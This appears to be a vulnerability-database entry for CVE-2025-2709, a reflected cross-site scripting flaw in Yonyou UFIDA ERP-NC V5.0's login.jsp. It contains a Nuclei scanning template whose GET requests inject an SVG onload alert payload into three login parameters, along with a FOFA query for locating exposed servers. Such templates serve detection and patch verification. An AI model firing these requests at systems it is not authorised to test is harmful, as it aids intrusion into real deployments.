CVE-2025-2709: Yonyou UFIDA ERP-NC V5.0 - Cross-Site Scripting

日期: 2025-08-01 | 影响软件: Yonyou UFIDA ERP-NC V5.0 | POC: 已公开

漏洞描述

Yonyou UFIDA ERP-NC V5.0 is vulnerable to reflected cross-site scripting (XSS) via the key and redirect parameters in login.jsp. Unsanitized user input is reflected in the response, allowing arbitrary JavaScript execution.

PoC代码[已公开]

id: CVE-2025-2709

info:
  name: Yonyou UFIDA ERP-NC V5.0 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Yonyou UFIDA ERP-NC V5.0 is vulnerable to reflected cross-site scripting (XSS) via the key and redirect parameters in login.jsp. Unsanitized user input is reflected in the response, allowing arbitrary JavaScript execution.
  reference:
    - https://github.com/Hebing123/cve/issues/84
    - https://nvd.nist.gov/vuln/detail/CVE-2025-2709
  classification:
    epss-score: 0.00083
    epss-percentile: 0.24835
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2025-2709
    cwe-id: CWE-79
    cpe: cpe:2.3:a:yonyou:ufida_erp-nc:5.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: yonyou
    product: ufida_erp-nc
    fofa-query: icon_hash="1085941792"
  tags: cve,cve2025,xss,erp-nc,ufida,yonyou,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/login.jsp?onlyOnePerVM=hebing%27%3E%3Csvg%20onload=alert(document.domain)%3E"
      - "{{BaseURL}}/login.jsp?redirect=hebing%27%3E%3Csvg%20onload=alert(document.domain)%3E"
      - "{{BaseURL}}/login.jsp?nodeid=hebing%27%3E%3Csvg%20onload=alert(document.domain)%3E"

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<svg onload=alert(document.domain)>'
          - 'this explore not support plug in'
        condition: and

      - type: word
        part: content_type
        words:
          - 'text/html'

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100ad242a6ece4c8ceeeeee7e5ff0cb104af97dd7e0ee65b061aca85fbfbba46b4102210086f0931ac16964418a157d775ea271b50ed188a4ebd977942c5189ecd9b7297e:922c64590222798bb761d5b6d8e72950

相关漏洞推荐